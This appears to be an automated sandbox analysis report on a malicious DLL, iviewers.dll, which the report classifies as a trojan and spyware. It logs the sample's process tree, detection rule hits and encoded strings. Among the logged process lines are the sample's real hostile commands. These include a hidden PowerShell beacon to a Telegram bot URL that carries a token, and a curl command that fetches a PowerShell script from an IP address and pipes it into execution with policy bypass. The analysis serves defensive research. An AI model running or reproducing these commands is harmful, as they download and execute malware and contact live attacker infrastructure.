Source: 37.2.powershell.exe.57072b8.1.raw.unpack, Knvbl.cs	Long String: Length: 14784
Source: 37.2.powershell.exe.5718fd0.2.raw.unpack, Knvbl.cs	Long String: Length: 14784

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F95EE25	0_2_6F95EE25
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_6F95EE25	3_2_6F95EE25
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6F95EE25	4_2_6F95EE25
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_04D151D3	12_2_04D151D3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_04D15D78	12_2_04D15D78
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_04D1B2D0	12_2_04D1B2D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 43_2_0143910A	43_2_0143910A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00ED4A4E	44_2_00ED4A4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 44_2_00EC4829	44_2_00EC4829
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00408600	45_2_00408600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0040C840	45_2_0040C840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0041D003	45_2_0041D003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0040D021	45_2_0040D021
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0040D83C	45_2_0040D83C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004038C0	45_2_004038C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042A0CA	45_2_0042A0CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004338D0	45_2_004338D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042C0E6	45_2_0042C0E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004160E9	45_2_004160E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0041B8F6	45_2_0041B8F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042C09E	45_2_0042C09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0041C8A0	45_2_0041C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004388B0	45_2_004388B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042C09E	45_2_0042C09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00406160	45_2_00406160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0041E960	45_2_0041E960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00418169	45_2_00418169
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00405900	45_2_00405900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0040B100	45_2_0040B100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00426910	45_2_00426910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004281CC	45_2_004281CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004409E0	45_2_004409E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042C9EB	45_2_0042C9EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042E180	45_2_0042E180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043F18B	45_2_0043F18B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004291AE	45_2_004291AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004239B9	45_2_004239B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043CA40	45_2_0043CA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00435A4F	45_2_00435A4F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043DA4D	45_2_0043DA4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00404270	45_2_00404270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0041E220	45_2_0041E220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043FA20	45_2_0043FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00411227	45_2_00411227
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00419AD0	45_2_00419AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004242D0	45_2_004242D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00439280	45_2_00439280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00439A80	45_2_00439A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00428ABC	45_2_00428ABC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0040AB40	45_2_0040AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00421340	45_2_00421340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042D34A	45_2_0042D34A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042F377	45_2_0042F377
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00409310	45_2_00409310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043FB10	45_2_0043FB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043FB2A	45_2_0043FB2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043FB28	45_2_0043FB28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0040F3C0	45_2_0040F3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004073D0	45_2_004073D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004283D8	45_2_004283D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0041EB80	45_2_0041EB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00404BA0	45_2_00404BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00427440	45_2_00427440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043A440	45_2_0043A440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00440460	45_2_00440460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0041747D	45_2_0041747D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00433C10	45_2_00433C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004204C6	45_2_004204C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004224E0	45_2_004224E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0040D4F3	45_2_0040D4F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00431CF0	45_2_00431CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00414CA0	45_2_00414CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042CD4C	45_2_0042CD4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042CD5E	45_2_0042CD5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00424560	45_2_00424560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043FD70	45_2_0043FD70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00421D00	45_2_00421D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00440D20	45_2_00440D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00411D2B	45_2_00411D2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00426D2E	45_2_00426D2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00439D30	45_2_00439D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042C53C	45_2_0042C53C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043A5D4	45_2_0043A5D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004065F0	45_2_004065F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043CDF0	45_2_0043CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043C5A0	45_2_0043C5A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00437DA9	45_2_00437DA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00438650	45_2_00438650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042EE63	45_2_0042EE63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00420E6C	45_2_00420E6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00422E6D	45_2_00422E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0042FE74	45_2_0042FE74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0043FE00	45_2_0043FE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0040F60D	45_2_0040F60D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0041961B	45_2_0041961B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0041E630	45_2_0041E630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004246D0	45_2_004246D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004406F0	45_2_004406F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0040E687	45_2_0040E687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00438EA0	45_2_00438EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00402EB0	45_2_00402EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0041AEB0	45_2_0041AEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00427740	45_2_00427740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00412750	45_2_00412750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_0041DF50	45_2_0041DF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00416F52	45_2_00416F52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00425F1B	45_2_00425F1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00429739	45_2_00429739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_004157C0	45_2_004157C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 45_2_00409780	45_2_00409780

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6F952730 appears 35 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00414C90 appears 77 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00407F60 appears 40 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 6F952730 appears 35 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6F952730 appears 35 times

Source: iviewers.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: Process Memory Space: powershell.exe PID: 7760, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7824, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7880, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6588, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 24.2.powershell.exe.4d8584c.1.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 24.2.powershell.exe.4d73b34.0.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 27.2.powershell.exe.56d5e3c.3.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 27.2.powershell.exe.56c4124.0.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 29.2.powershell.exe.8b20000.4.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 29.2.powershell.exe.58027a8.0.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 29.2.powershell.exe.58144c0.2.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 37.2.powershell.exe.57072b8.1.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 37.2.powershell.exe.5718fd0.2.raw.unpack, Ntilg.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 24.2.powershell.exe.4df8240.3.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 27.2.powershell.exe.574883c.1.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 29.2.powershell.exe.5886eb4.3.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 29.2.powershell.exe.8b30000.5.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: xyq5akbp.dll.32.dr, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 1yj35v5c.dll.33.dr, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: wzlesmvi.dll.34.dr, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDLL@90/42@2/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 45_2_00432070 CoCreateInstance,

45_2_00432070

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7640:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w5ultme0.dys.ps1

Jump to behavior

Source: iviewers.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\iviewers.dll,DllRegisterServer

Source: iviewers.dll

ReversingLabs: Detection: 47%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\iviewers.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\iviewers.dll,DllRegisterServer
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline"
